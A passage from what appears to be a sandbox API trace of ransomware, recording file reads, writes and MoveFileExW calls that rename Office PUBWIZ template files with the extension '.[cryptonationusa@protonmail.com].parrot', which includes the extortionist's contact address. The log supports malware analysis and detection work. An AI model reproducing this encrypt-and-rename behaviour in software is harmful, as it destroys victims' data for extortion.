lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe498e, lpOverlapped=0x0) returned 1 [0208.009] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0208.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.236] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.237] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.238] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd988, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd988, lpOverlapped=0x0) returned 1 [0208.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYERHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyerhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYERHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyerhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0208.249] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.249] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.250] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.250] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x56ce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x56ce, lpOverlapped=0x0) returned 1 [0208.252] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0208.258] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.258] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.260] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.260] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62c, lpOverlapped=0x0) returned 1 [0208.260] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0208.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.265] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.318] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8c952, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8c952, lpOverlapped=0x0) returned 1 [0208.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORM98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\form98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORM98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\form98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0208.403] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.403] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.404] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.405] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x820, lpOverlapped=0x0) returned 1 [0208.405] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORMCTL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\formctl.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORMCTL.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\formctl.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0208.411] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.411] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.413] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.413] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b8, lpOverlapped=0x0) returned 1 [0208.413] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FS3BOX.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fs3box.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FS3BOX.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fs3box.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0208.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.418] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.420] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0c3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb0c3, lpOverlapped=0x0) returned 1 [0208.422] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0208.430] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.430] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.432] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.432] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14c8, lpOverlapped=0x0) returned 1 [0208.433] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0208.438] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.438] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.439] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.440] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22cf4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x22cf4, lpOverlapped=0x0) returned 1 [0208.444] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x320e570 | out: hHeap=0x5b0000) returned 1 [0208.454] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.454] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.490] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.490] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6314, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd6314, lpOverlapped=0x0) returned 1 [0208.517] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREET11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greet11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREET11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greet11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0208.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.579] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.581] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0208.609] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.610] WriteFile (in: hFile=0x27c, lpBuffer=0x22fa088*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22fa088*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0208.614] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.614] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0208.617] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x124b4cf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0208.617] CloseHandle (hObject=0x27c) returned 1 [0208.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0208.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.626] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.629] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.630] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfb0c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfb0c, lpOverlapped=0x0) returned 1 [0208.634] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0208.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.646] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.691] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.692] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1000, lpOverlapped=0x0) returned 1 [0208.692] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0208.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0208.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0208.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0208.700] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0208.700] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0208.701] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.702] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27e6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 